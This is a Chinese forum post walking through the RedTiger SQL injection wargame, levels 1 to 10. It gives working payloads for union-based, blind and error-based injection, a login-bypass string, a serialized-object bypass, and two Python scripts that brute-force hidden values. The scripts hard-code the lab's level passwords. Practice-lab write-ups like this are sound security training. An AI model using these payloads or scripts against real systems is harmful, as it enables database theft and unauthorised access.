資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊成為正式會(huì)員
查看: 2562|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測試] write ctf 注入

[復(fù)制鏈接]

45

主題

238

帖子

0

精華

終身高級(jí)VIP會(huì)員

Dark Windy

Rank: 7Rank: 7Rank: 7

資源幣
340
積分
373
貢獻(xiàn)
0
在線時(shí)間
74 小時(shí)
注冊時(shí)間
2015-8-14
最后登錄
2024-6-3

終身VIP會(huì)員

跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2015-8-16 21:18:27 | 只看該作者 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
Level 1
普普通通的一個(gè)注入關(guān),直接構(gòu)造語句即可
  • https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

Level 2
題目說,一個(gè)簡單的密碼繞過,那就簡單一下試試,sql萬能密碼
  • 用戶名隨意
  • 密碼' OR '1'='1

繞過成功
Level 3
嘗試出個(gè)錯(cuò)誤...也是醉了
那我們就出個(gè)錯(cuò)瞧瞧~
嘗試是否為sqli,但是sql無錯(cuò)誤回顯,考慮php原因
直到
  • https://redtiger.labs.overthewire.org/level3.php?usr[0]=a&usr[1]=b

才顯示出來一個(gè)錯(cuò)誤
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21
因?yàn)?inc這種文件可以訪問,所以我們獲得了一部分源碼
  • <?php
  • function encrypt($str)
  • {
  •         $cryptedstr ="";
  • for($i =0; $i < strlen($str); $i++)
  • {
  •             $temp = ord(substr($str,$i,1))^192;
  • while(strlen($temp)<3)
  • {
  •                 $temp ="0".$temp;
  • }
  •             $cryptedstr .= $temp."";
  • }
  • return base64_encode($cryptedstr);
  • }
  • function decrypt ($str)
  • {
  • if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))
  • {
  •             $str = base64_decode($str);
  • if($str !=""&& $str !=null&& $str !=false)
  • {
  •                 $decStr ="";
  • for($i=0; $i < strlen($str); $i+=3)
  • {
  •                     $array[$i/3]= substr($str,$i,3);
  • }
  • foreach($array as $s)
  • {
  •                     $a = $s^192;
  •                     $decStr .= chr($a);
  • }
  • return $decStr;
  • }
  • returnfalse;
  • }
  • returnfalse;
  • }
  • ?>

在這個(gè)文件中,給出了對usr這個(gè)參數(shù)的加密和解密方式,所以,我們用這個(gè)加密方式加密我們的語句,得到最終的POC
  • https://redtiger.labs.overthewire.org/level3.php
  • ?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0

Level 4
點(diǎn)了一下Click me,下面顯示了
Query returned 1 rows.
加個(gè)單引號(hào)變?yōu)榱?/font>
Query returned 0 rows.
所以應(yīng)該是盲注了
  • order by表示有兩個(gè)column,雖然也沒啥用..先來判斷長度
  • https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17
  • 一共17個(gè)字節(jié),這次肯定不是MD5。。。
  • 寫腳本,從A-Z a-z 0-9跑一遍,得出最終結(jié)果

  • # -*- coding: utf-8 -*-
  • import requests
  • s = requests.Session()
  • result =""
  • login ={'password':'dont_publish_solutions_GRR!',
  • 'level4login':'Login'}
  • for x in range(1,17):
  •     flag =True
  •     url ="http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1  from level4_secret where SUBSTR(keyword,%d,1)='%s'"
  • for i in range(ord('a'),ord('z')+1):
  • if(flag ==False):
  • break
  •         test_url = url %(x,chr(i))
  •         r = s.post(test_url, data = login)
  • if"2 rows"in r.content:
  •             result = result + chr(i)
  •             flag =False
  • for i in range(ord('A'),ord('Z')+1):
  • if(flag ==False):
  • break
  •         test_url = url %(x,chr(i))
  •         r = s.post(test_url, data = login)
  • if"2 rows"in r.content:
  •             result = result + chr(i)
  •             flag =False
  • for i in range(ord('0'),ord('9')+1):
  • if(flag ==False):
  • break
  •         test_url = url %(x,chr(i))
  •         r = s.post(test_url, data = login)
  • if"2 rows"in r.content:
  •             result = result + chr(i)
  •             flag =False
  • print result
  • print result

Level 5
還是登錄繞過,禁用了幾個(gè)函數(shù),而且不是盲注,讓我們關(guān)注看報(bào)錯(cuò)信息
通過最終的結(jié)果的行數(shù),判斷是否登錄成功所以我們的POC
  • login=Login&password=1&username=' union select 0x61646d696e as username, md5(1) as password #

Level 6
Target: Get the first user in table level6_users with status 1
先查status 1 就是普普通通的注入,沒啥難度
POC
  • https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1%20from%20level6_users%20where%20status=1

Level 7
又是盲注,但是這次出在了搜索的位置,限制更加嚴(yán)格,所以我們換個(gè)關(guān)鍵字..
所以我們還是和上面某Level一樣的思路
再次編程
  • # -*- coding: utf-8 -*-
  • import requests
  • s = requests.Session()
  • result =""
  • login ={'password':'dont_shout_at_your_disks***',
  • 'level7login':'Login',
  • 'dosearch':'search!'}
  • for x in range(1,17):
  •     flag =True
  •     url ="http://redtiger.labs.overthewire.org/level7.php"
  • for i in range(32,127):
  • if(flag ==False):
  • break
  •         login["search"]="google%%' and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%%'='"%(chr(i), x)
  •         r = s.post(url, data = login)
  • if"FRANCISCO"in r.content:
  •             result = result + chr(i)
  •             flag =False
  • print result
  • print result

上面這段代碼貌似有點(diǎn)小問題
Level 8
加了一個(gè)' 爆出了錯(cuò)誤,明顯是error base
  • hans@localhost', name=password, icq = 'q

Level 9
依舊是error base
通過一個(gè)' 判斷注入出現(xiàn)在textarea中,于是構(gòu)建語句
  • '), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

過關(guān)
Level 10
只給了一個(gè)Login按鈕,通過抓包,我們看到了一個(gè)base64加密過得json
解密得到
  • a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

我也不造這是啥,但是谷歌一下發(fā)現(xiàn)有人發(fā)這道題的writeup參考一下。。。
然后找到了這個(gè)
http://php.net/manual/en/function.serialize.php
發(fā)現(xiàn)只要最后一個(gè)password改成boolean True即可...
也就是說,這個(gè)是用流來保存數(shù)據(jù)的一個(gè)方式,最后的密碼位改為布爾型b:1即可過關(guān)


這么努力,就是為了讓看不起我的人閉嘴
回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號(hào)-1 )

GMT+8, 2025-4-18 14:37 , Processed in 0.033590 second(s), 14 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表